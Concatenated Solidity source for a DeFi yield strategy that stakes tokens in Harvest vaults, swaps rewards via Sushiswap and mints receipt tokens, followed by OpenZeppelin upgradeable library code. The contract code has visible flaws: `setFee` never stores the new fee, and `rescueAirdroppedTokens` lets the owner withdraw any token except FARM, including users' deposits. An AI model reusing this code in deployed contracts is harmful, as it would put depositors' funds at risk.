user.earnedRewards = user.earnedRewards.add(transferableRewards);
swapPath[0] = farmToken;
results.rewardsInEth = _swapTokenToEth(
swapPath,
transferableRewards,
deadline,
slippage,
ethPerFarm
);
results.auctionedRewardsInEth = results.rewardsInEth.div(2);
//50% goes to treasury in ETH
results.userRewardsInEth = results.rewardsInEth.sub(
results.auctionedRewardsInEth
);
//50% goes to user in Token (swapped below)
results.auctionedEth = results.auctionedEth.add(
results.auctionedRewardsInEth
);
emit RewardsExchanged(
msg.sender,
"ETH",
transferableRewards,
results.rewardsInEth
);
}
if (results.userRewardsInEth > 0) {
swapPath[0] = weth;
swapPath[1] = token;
uint256 userRewardsEthToTokenResult =
_swapEthToToken(
swapPath,
results.userRewardsInEth,
deadline,
slippage,
tokensPerEth
);
results.totalToken = results.totalToken.add(
userRewardsEthToTokenResult
);
emit RewardsExchanged(
msg.sender,
"Token",
transferableRewards.div(2),
userRewardsEthToTokenResult
);
}
user.rewards = user.rewards.sub(transferableRewards);
// -----
// final accounting
// -----
if (results.calculatedTokenAmount <= totalToken) {
totalToken = totalToken.sub(results.calculatedTokenAmount);
} else {
totalToken = 0;
}
user.underlyingRatio = _getRatio(
user.amountfToken,
user.amountToken,
18
);
// -----
// transfer Token to user, ETH to fee address and ETH to the treasury address
// -----
if (fee > 0) {
uint256 feeToken = _calculateFee(results.totalToken);
results.totalToken = results.totalToken.sub(feeToken);
swapPath[0] = token;
swapPath[1] = weth;
uint256 feeTokenInEth =
_swapTokenToEth(
swapPath,
feeToken,
deadline,
slippage,
ethPerToken
);
safeTransferETH(feeAddress, feeTokenInEth);
user.userCollectedFees = user.userCollectedFees.add(feeTokenInEth);
}
IERC20(token).safeTransfer(msg.sender, results.totalToken);
safeTransferETH(treasuryAddress, results.auctionedEth);
user.userTreasuryEth = user.userTreasuryEth.add(results.auctionedEth);
emit Withdraw(
msg.sender,
tx.origin,
results.obtainedToken,
results.obtainedfToken,
results.auctionedEth
);
// -----
// dust check
// -----
if (address(this).balance > results.prevDustEthBalance) {
ethDust = ethDust.add(
address(this).balance.sub(results.prevDustEthBalance)
);
}
return results.totalToken;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "../../../interfaces/IUniswapRouter.sol";
import "../../../interfaces/IHarvestVault.sol";
import "../../../interfaces/IMintNoRewardPool.sol";
import "../../../interfaces/IHarvest.sol";
import "../../../interfaces/IStrategy.sol";
import "../../base/StrategyBase.sol";
import "./HarvestStorage.sol";
contract HarvestBase is
HarvestStorage,
OwnableUpgradeable,
StrategyBase,
IHarvest,
IStrategy
{
using SafeMath for uint256;
struct UserDeposits {
uint256 timestamp;
uint256 amountfToken;
}
/// @notice Used internally for avoiding "stack-too-deep" error when depositing
struct DepositData {
address[] swapPath;
uint256[] swapAmounts;
uint256 obtainedToken;
uint256 obtainedfToken;
uint256 prevfTokenBalance;
}
/// @notice Used internally for avoiding "stack-too-deep" error when withdrawing
struct WithdrawData {
uint256 prevDustEthBalance;
uint256 prevfTokenBalance;
uint256 prevTokenBalance;
uint256 obtainedfToken;
uint256 obtainedToken;
uint256 feeableToken;
uint256 feeableEth;
uint256 totalEth;
uint256 totalToken;
uint256 auctionedEth;
uint256 auctionedToken;
uint256 rewards;
uint256 farmBalance;
uint256 burnAmount;
uint256 earnedTokens;
uint256 rewardsInEth;
uint256 auctionedRewardsInEth;
uint256 userRewardsInEth;
uint256 initialAmountfToken;
uint256 calculatedTokenAmount;
}
//-----------------------------------------------------------------------------------------------------------------//
//------------------------------------ Events -------------------------------------------------//
//-----------------------------------------------------------------------------------------------------------------//
event ExtraTokensExchanged(
address indexed user,
uint256 tokensAmount,
uint256 obtainedEth
);
event ObtainedInfo(
address indexed user,
uint256 underlying,
uint256 underlyingReceipt
);
event RewardsEarned(address indexed user, uint256 amount);
event ExtraTokens(address indexed user, uint256 amount);
/// @notice Event emitted when owner makes a rescue dust request
event RescuedDust(string indexed dustType, uint256 amount);
/// @notice Event emitted when owner changes any contract address
event ChangedAddress(
string indexed addressType,
address indexed oldAddress,
address indexed newAddress
);
/// @notice Event emitted when owner changes any contract address
event ChangedValue(
string indexed valueType,
uint256 indexed oldValue,
uint256 indexed newValue
);
/**
* @notice Create a new HarvestDAI contract
* @param _harvestRewardVault VaultToken address
* @param _harvestRewardPool NoMintRewardPool address
* @param _sushiswapRouter Sushiswap Router address
* @param _harvestfToken Pool's underlying token address
* @param _farmToken Farm address
* @param _token Token address
* @param _weth WETH address
* @param _treasuryAddress treasury address
* @param _feeAddress fee address
*/
function __HarvestBase_init(
address _harvestRewardVault,
address _harvestRewardPool,
address _sushiswapRouter,
address _harvestfToken,
address _farmToken,
address _token,
address _weth,
address payable _treasuryAddress,
address payable _feeAddress,
uint256 _cap
) internal initializer {
require(_harvestRewardVault != address(0), "VAULT_0x0");
require(_harvestRewardPool != address(0), "POOL_0x0");
require(_harvestfToken != address(0), "fTOKEN_0x0");
require(_farmToken != address(0), "FARM_0x0");
__Ownable_init();
__StrategyBase_init(
_sushiswapRouter,
_token,
_weth,
_treasuryAddress,
_feeAddress,
_cap
);
harvestRewardVault = IHarvestVault(_harvestRewardVault);
harvestRewardPool = IMintNoRewardPool(_harvestRewardPool);
harvestfToken = _harvestfToken;
farmToken = _farmToken;
receiptToken = new ReceiptToken(token, address(this));
}
//-----------------------------------------------------------------------------------------------------------------//
//------------------------------------ Setters -------------------------------------------------//
//-----------------------------------------------------------------------------------------------------------------//
/**
* @notice Update the address of VaultDAI
* @dev Can only be called by the owner
* @param _harvestRewardVault Address of VaultDAI
*/
function setHarvestRewardVault(address _harvestRewardVault)
external
override
onlyOwner
{
require(_harvestRewardVault != address(0), "VAULT_0x0");
emit ChangedAddress(
"VAULT",
address(harvestRewardVault),
_harvestRewardVault
);
harvestRewardVault = IHarvestVault(_harvestRewardVault);
}
/**
* @notice Update the address of NoMintRewardPool
* @dev Can only be called by the owner
* @param _harvestRewardPool Address of NoMintRewardPool
*/
function setHarvestRewardPool(address _harvestRewardPool)
external
override
onlyOwner
{
require(_harvestRewardPool != address(0), "POOL_0x0");
emit ChangedAddress(
"POOL",
address(harvestRewardPool),
_harvestRewardPool
);
harvestRewardPool = IMintNoRewardPool(_harvestRewardPool);
}
/**
* @notice Update the address of Sushiswap Router
* @dev Can only be called by the owner
* @param _sushiswapRouter Address of Sushiswap Router
*/
function setSushiswapRouter(address _sushiswapRouter)
external
override
onlyOwner
{
require(_sushiswapRouter != address(0), "0x0");
emit ChangedAddress(
"SUSHISWAP_ROUTER",
address(sushiswapRouter),
_sushiswapRouter
);
sushiswapRouter = IUniswapRouter(_sushiswapRouter);
}
/**
* @notice Update the address of Pool's underlying token
* @dev Can only be called by the owner
* @param _harvestfToken Address of Pool's underlying token
*/
function setHarvestPoolToken(address _harvestfToken)
external
override
onlyOwner
{
require(_harvestfToken != address(0), "TOKEN_0x0");
emit ChangedAddress("TOKEN", harvestfToken, _harvestfToken);
harvestfToken = _harvestfToken;
}
/**
* @notice Update the address of FARM
* @dev Can only be called by the owner
* @param _farmToken Address of FARM
*/
function setFarmToken(address _farmToken) external override onlyOwner {
require(_farmToken != address(0), "FARM_0x0");
emit ChangedAddress("FARM", farmToken, _farmToken);
farmToken = _farmToken;
}
/**
* @notice Update the address for fees
* @dev Can only be called by the owner
* @param _feeAddress Fee's address
*/
function setTreasury(address payable _feeAddress)
external
override
onlyOwner
{
require(_feeAddress != address(0), "0x0");
emit ChangedAddress(
"TREASURY",
address(treasuryAddress),
address(_feeAddress)
);
treasuryAddress = _feeAddress;
}
/**
* @notice Set max ETH cap for this strategy
* @dev Can only be called by the owner
* @param _cap ETH amount
*/
function setCap(uint256 _cap) external override onlyOwner {
emit ChangedValue("CAP", cap, _cap);
cap = _cap;
}
/**
* @notice Set lock time
* @dev Can only be called by the owner
* @param _lockTime lock time in seconds
*/
function setLockTime(uint256 _lockTime) external override onlyOwner {
require(_lockTime > 0, "TIME_0");
emit ChangedValue("LOCKTIME", lockTime, _lockTime);
lockTime = _lockTime;
}
function setFeeAddress(address payable _feeAddress)
external
override
onlyOwner
{
emit ChangedAddress("FEE", address(feeAddress), address(_feeAddress));
feeAddress = _feeAddress;
}
function setFee(uint256 _fee) external override onlyOwner {
require(_fee <= uint256(9000), "FEE_TOO_HIGH");
emit ChangedValue("FEE", fee, _fee);
}
/**
* @notice Rescue dust resulted from swaps/liquidity
* @dev Can only be called by the owner
*/
function rescueDust() external override onlyOwner {
if (ethDust > 0) {
safeTransferETH(treasuryAddress, ethDust);
treasueryEthDust = treasueryEthDust.add(ethDust);
emit RescuedDust("ETH", ethDust);
ethDust = 0;
}
}
/**
* @notice Rescue any non-reward token that was airdropped to this contract
* @dev Can only be called by the owner
*/
function rescueAirdroppedTokens(address _token, address to)
external
override
onlyOwner
{
require(_token != farmToken, "rescue_reward_error");
uint256 balanceOfToken = IERC20(_token).balanceOf(address(this));
require(balanceOfToken > 0, "balance_0");
require(IERC20(_token).transfer(to, balanceOfToken), "rescue_failed");
}
/// @notice Transfer rewards to this strategy
function updateReward() external override onlyOwner {
harvestRewardPool.getReward();
}
//-----------------------------------------------------------------------------------------------------------------//
//------------------------------------ View methods -------------------------------------------------//
//-----------------------------------------------------------------------------------------------------------------//
/**
* @notice Check if user can withdraw based on current lock time
* @param user Address of the user
* @return true or false
*/
function isWithdrawalAvailable(address user) public view returns (bool) {
if (lockTime > 0) {
return userInfo[user].timestamp.add(lockTime) <= block.timestamp;
}
return true;
}
/**
* @notice View function to see pending rewards for account.
* @param account user account to check
* @return pending rewards
*/
function getPendingRewards(address account) public view returns (uint256) {
if (account != address(0)) {
if (userInfo[account].amountfToken == 0) {
return 0;
}
return
_earned(
userInfo[account].amountfToken,
userInfo[account].userRewardPerTokenPaid,
userInfo[account].rewards
);
}
return 0;
}
//-----------------------------------------------------------------------------------------------------------------//
//------------------------------------ Internal methods -------------------------------------------------//
//-----------------------------------------------------------------------------------------------------------------//
function _calculateRewards(
address account,
uint256 amount,
uint256 amountfToken
) internal view returns (uint256) {
uint256 rewards = userInfo[account].rewards;
uint256 farmBalance = IERC20(farmToken).balanceOf(address(this));
if (amount == 0) {
if (rewards < farmBalance) {
return rewards;
}
return farmBalance;
}
return (amount.mul(rewards)).div(amountfToken);
}
function _updateRewards(address account) internal {
if (account != address(0)) {
UserInfo storage user = userInfo[account];
uint256 _stored = harvestRewardPool.rewardPerToken();
user.rewards = _earned(
user.amountfToken,
user.userRewardPerTokenPaid,
user.rewards
);
user.userRewardPerTokenPaid = _stored;
}
}
function _earned(
uint256 _amountfToken,
uint256 _userRewardPerTokenPaid,
uint256 _rewards
) internal view returns (uint256) {
return
_amountfToken
.mul(
harvestRewardPool.rewardPerToken().sub(_userRewardPerTokenPaid)
)
.div(1e18)
.add(_rewards);
}
function _validateWithdraw(
uint256 deadline,
uint256 amount,
uint256 amountfToken,
uint256 receiptBalance,
uint256 timestamp,
uint256 slippage
) internal view {
_validateCommon(deadline, amount, slippage);
require(amountfToken >= amount, "AMOUNT_GREATER_THAN_BALANCE");
require(receiptBalance >= amountfToken, "RECEIPT_AMOUNT");
if (lockTime > 0) {
require(timestamp.add(lockTime) <= block.timestamp, "LOCK_TIME");
}
}
function _depositTokenToHarvestVault(uint256 amount)
internal
returns (uint256)
{
_increaseAllowance(token, address(harvestRewardVault), amount);
uint256 prevfTokenBalance = _getBalance(harvestfToken);
harvestRewardVault.deposit(amount);
uint256 currentfTokenBalance = _getBalance(harvestfToken);
require(
currentfTokenBalance > prevfTokenBalance,
"DEPOSIT_VAULT_ERROR"
);
return currentfTokenBalance.sub(prevfTokenBalance);
}
function _withdrawTokenFromHarvestVault(uint256 amount)
internal
returns (uint256)
{
_increaseAllowance(harvestfToken, address(harvestRewardVault), amount);
uint256 prevTokenBalance = _getBalance(token);
harvestRewardVault.withdraw(amount);
uint256 currentTokenBalance = _getBalance(token);
require(currentTokenBalance > prevTokenBalance, "WITHDRAW_VAULT_ERROR");
return currentTokenBalance.sub(prevTokenBalance);
}
function _stakefTokenToHarvestPool(uint256 amount) internal {
_increaseAllowance(harvestfToken, address(harvestRewardPool), amount);
harvestRewardPool.stake(amount);
}
function _unstakefTokenFromHarvestPool(uint256 amount)
internal
returns (uint256)
{
_increaseAllowance(harvestfToken, address(harvestRewardPool), amount);
uint256 prevfTokenBalance = _getBalance(harvestfToken);
harvestRewardPool.withdraw(amount);
uint256 currentfTokenBalance = _getBalance(harvestfToken);
require(
currentfTokenBalance > prevfTokenBalance,
"WITHDRAW_POOL_ERROR"
);
return currentfTokenBalance.sub(prevfTokenBalance);
}
function _calculatefTokenRemainings(uint256 amount, uint256 amountfToken)
internal
pure
returns (uint256, uint256)
{
uint256 burnAmount = amount;
if (amount < amountfToken) {
amountfToken = amountfToken.sub(amount);
} else {
burnAmount = amountfToken;
amountfToken = 0;
}
return (amountfToken, burnAmount);
}
function _calculateFeeableTokens(
uint256 amountfToken,
uint256 obtainedToken,
uint256 amountToken,
uint256 obtainedfToken,
uint256 underlyingRatio
) internal returns (uint256 feeableToken, uint256 earnedTokens) {
if (obtainedfToken == amountfToken) {
//there is no point to do the ratio math as we can just get the difference between current obtained tokens and initial obtained tokens
if (obtainedToken > amountToken) {
feeableToken = obtainedToken.sub(amountToken);
}
} else {
uint256 currentRatio = _getRatio(obtainedfToken, obtainedToken, 18);
if (currentRatio < underlyingRatio) {
uint256 noOfOriginalTokensForCurrentAmount =
(obtainedfToken.mul(10**18)).div(underlyingRatio);
if (noOfOriginalTokensForCurrentAmount < obtainedToken) {
feeableToken = obtainedToken.sub(
noOfOriginalTokensForCurrentAmount
);
}
}
}
if (feeableToken > 0) {
uint256 extraTokensFee = _calculateFee(feeableToken);
emit ExtraTokens(msg.sender, feeableToken.sub(extraTokensFee));
earnedTokens = feeableToken.sub(extraTokensFee);
}
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "./HarvestBase.sol";
contract HarvestSCBase is StrategyBase, HarvestBase {
//-----------------------------------------------------------------------------------------------------------------//
//------------------------------------ Events -------------------------------------------------//
//-----------------------------------------------------------------------------------------------------------------//
/// @notice Event emitted when rewards are exchanged to ETH or to a specific Token
event RewardsExchanged(
address indexed user,
string exchangeType, //ETH or Token
uint256 rewardsAmount,
uint256 obtainedAmount
);
/// @notice Event emitted when user makes a deposit
event Deposit(
address indexed user,
address indexed origin,
uint256 amountToken,
uint256 amountfToken
);
/// @notice Event emitted when user withdraws
event Withdraw(
address indexed user,
address indexed origin,
uint256 amountToken,
uint256 amountfToken,
uint256 treasuryAmountEth
);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "../../../interfaces/IMintNoRewardPool.sol";
import "../../../interfaces/IHarvestVault.sol";
contract HarvestStorage {
/// @notice Info of each user.
struct UserInfo {
uint256 amountEth; //how much ETH the user entered with; should be 0 for HarvestSC
uint256 amountToken; //how much Token was obtained by swapping user's ETH
uint256 amountfToken; //how much fToken was obtained after deposit to vault
uint256 underlyingRatio; //ratio between obtained fToken and token
uint256 userTreasuryEth; //how much eth the user sent to treasury
uint256 userCollectedFees; //how much eth the user sent to fee address
uint256 timestamp; //first deposit timestamp; used for withdrawal lock time check
uint256 earnedTokens;
uint256 earnedRewards; //before fees
//----
uint256 rewards;
uint256 userRewardPerTokenPaid;
}
uint256 public totalToken;
address public farmToken;
address public harvestfToken;
uint256 public ethDust;
uint256 public treasueryEthDust;
IMintNoRewardPool public harvestRewardPool;
IHarvestVault public harvestRewardVault;
mapping(address => UserInfo) public userInfo;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "../../tokens/ReceiptToken.sol";
import "../../interfaces/IUniswapRouter.sol";
contract Storage{
address public weth;
address payable public treasuryAddress;
address payable public feeAddress;
address public token;
IUniswapRouter public sushiswapRouter;
ReceiptToken public receiptToken;
uint256 internal _minSlippage;
uint256 public lockTime;
uint256 public fee;
uint256 constant feeFactor = uint256(10000);
uint256 public cap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "../../tokens/ReceiptToken.sol";
import "../../interfaces/IUniswapRouter.sol";
import "./Storage.sol";
contract StrategyBase is Storage, Initializable, UUPSUpgradeable, OwnableUpgradeable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Event emitted when user makes a deposit and receipt token is minted
event ReceiptMinted(address indexed user, uint256 amount);
/// @notice Event emitted when user withdraws and receipt token is burned
event ReceiptBurned(address indexed user, uint256 amount);
/**
* @notice Create a new strategy contract
* @param _sushiswapRouter Sushiswap Router address
* @param _token Token address
* @param _weth WETH address
* @param _treasuryAddress treasury address
* @param _feeAddress fee address
*/
function __StrategyBase_init(
address _sushiswapRouter, address _token,
address _weth,
address payable _treasuryAddress,
address payable _feeAddress,
uint256 _cap) internal initializer {
require(_sushiswapRouter != address(0), "ROUTER_0x0");
require(_token != address(0), "TOKEN_0x0");
require(_weth != address(0), "WETH_0x0");
require(_treasuryAddress != address(0), "TREASURY_0x0");
require(_feeAddress != address(0), "FEE_0x0");
sushiswapRouter = IUniswapRouter(_sushiswapRouter);
token = _token;
weth = _weth;
treasuryAddress = _treasuryAddress;
feeAddress = _feeAddress;
cap = _cap;
_minSlippage = 10; //0.1%
lockTime = 1;
fee = uint256(100);
__Ownable_init();
}
function _authorizeUpgrade(address) internal override onlyOwner {
}
function _validateCommon(
uint256 deadline,
uint256 amount,
uint256 _slippage
) internal view {
require(deadline >= block.timestamp, "DEADLINE_ERROR");
require(amount > 0, "AMOUNT_0");
require(_slippage >= _minSlippage, "SLIPPAGE_ERROR");
require(_slippage <= feeFactor, "MAX_SLIPPAGE_ERROR");
}
function _validateDeposit(
uint256 deadline,
uint256 amount,
uint256 total,
uint256 slippage
) internal view {
_validateCommon(deadline, amount, slippage);
require(total.add(amount) <= cap, "CAP_REACHED");
}
function _mintParachainAuctionTokens(uint256 _amount) internal {
receiptToken.mint(msg.sender, _amount);
emit ReceiptMinted(msg.sender, _amount);
}
function _burnParachainAuctionTokens(uint256 _amount) internal {
receiptToken.burn(msg.sender, _amount);
emit ReceiptBurned(msg.sender, _amount);
}
function _calculateFee(uint256 _amount) internal view returns (uint256) {
return _calculatePortion(_amount, fee);
}
function _getBalance(address _token) internal view returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
function _increaseAllowance(
address _token,
address _contract,
uint256 _amount
) internal {
IERC20(_token).safeIncreaseAllowance(address(_contract), _amount);
}
function _getRatio(
uint256 numerator,
uint256 denominator,
uint256 precision
) internal pure returns (uint256) {
if (numerator == 0 || denominator == 0) {
return 0;
}
uint256 _numerator = numerator * 10**(precision + 1);
uint256 _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
function _swapTokenToEth(
address[] memory swapPath,
uint256 exchangeAmount,
uint256 deadline,
uint256 slippage,
uint256 ethPerToken
) internal returns (uint256) {
uint256[] memory amounts =
sushiswapRouter.getAmountsOut(exchangeAmount, swapPath);
uint256 sushiAmount = amounts[amounts.length - 1]; //amount of ETH
uint256 portion = _calculatePortion(sushiAmount, slippage);
uint256 calculatedPrice = (exchangeAmount.mul(ethPerToken)).div(10**18);
uint256 decimals = ERC20(swapPath[0]).decimals();
if (decimals < 18) {
calculatedPrice = calculatedPrice.mul(10**(18 - decimals));
}
if (sushiAmount > calculatedPrice) {
require(
sushiAmount.sub(calculatedPrice) <= portion,
"PRICE_ERROR_1"
);
} else {
require(
calculatedPrice.sub(sushiAmount) <= portion,
"PRICE_ERROR_2"
);
}
_increaseAllowance(
swapPath[0],
address(sushiswapRouter),
exchangeAmount
);
uint256[] memory tokenSwapAmounts =
sushiswapRouter.swapExactTokensForETH(
exchangeAmount,
_getMinAmount(sushiAmount, slippage),
swapPath,
address(this),
deadline
);
return tokenSwapAmounts[tokenSwapAmounts.length - 1];
}
function _swapEthToToken(
address[] memory swapPath,
uint256 exchangeAmount,
uint256 deadline,
uint256 slippage,
uint256 tokensPerEth
) internal returns (uint256) {
uint256[] memory amounts =
sushiswapRouter.getAmountsOut(exchangeAmount, swapPath);
uint256 sushiAmount = amounts[amounts.length - 1];
uint256 portion = _calculatePortion(sushiAmount, slippage);
uint256 calculatedPrice =
(exchangeAmount.mul(tokensPerEth)).div(10**18);
uint256 decimals = ERC20(swapPath[0]).decimals();
if (decimals < 18) {
calculatedPrice = calculatedPrice.mul(10**(18 - decimals));
}
if (sushiAmount > calculatedPrice) {
require(
sushiAmount.sub(calculatedPrice) <= portion,
"PRICE_ERROR_1"
);
} else {
require(
calculatedPrice.sub(sushiAmount) <= portion,
"PRICE_ERROR_2"
);
}
uint256[] memory swapResult =
sushiswapRouter.swapExactETHForTokens{value: exchangeAmount}(
_getMinAmount(sushiAmount, slippage),
swapPath,
address(this),
deadline
);
return swapResult[swapResult.length - 1];
}
function _getMinAmount(uint256 amount, uint256 slippage)
private
pure
returns (uint256)
{
uint256 portion = _calculatePortion(amount, slippage);
return amount.sub(portion);
}
function _calculatePortion(uint256 _amount, uint256 _fee)
private
pure
returns (uint256)
{
return (_amount.mul(_fee)).div(feeFactor);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "TransferHelper: ETH_TRANSFER_FAILED");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// This contract is used for printing receipt tokens
// Whenever someone joins a pool, a receipt token will be printed for that person
contract ReceiptToken is ERC20, Ownable {
ERC20 public underlyingToken;
address public underlyingStrategy;
constructor(address underlyingAddress, address strategy)
ERC20(
string(abi.encodePacked("pAT-", ERC20(underlyingAddress).name())),
string(abi.encodePacked("pAT-", ERC20(underlyingAddress).symbol()))
)
{
underlyingToken = ERC20(underlyingAddress);
underlyingStrategy = strategy;
}
/**
* @notice Mint new receipt tokens to some user
* @param to Address of the user that gets the receipt tokens
* @param amount Amount of receipt tokens that will get minted
*/
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
/**
* @notice Burn receipt tokens from some user
* @param from Address of the user that gets the receipt tokens burne
* @param amount Amount of receipt tokens that will get burned
*/
function burn(address from, uint256 amount) public onlyOwner {
_burn(from, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature(
"upgradeTo(address)",
oldImplementation
)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(
AddressUpgradeable.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
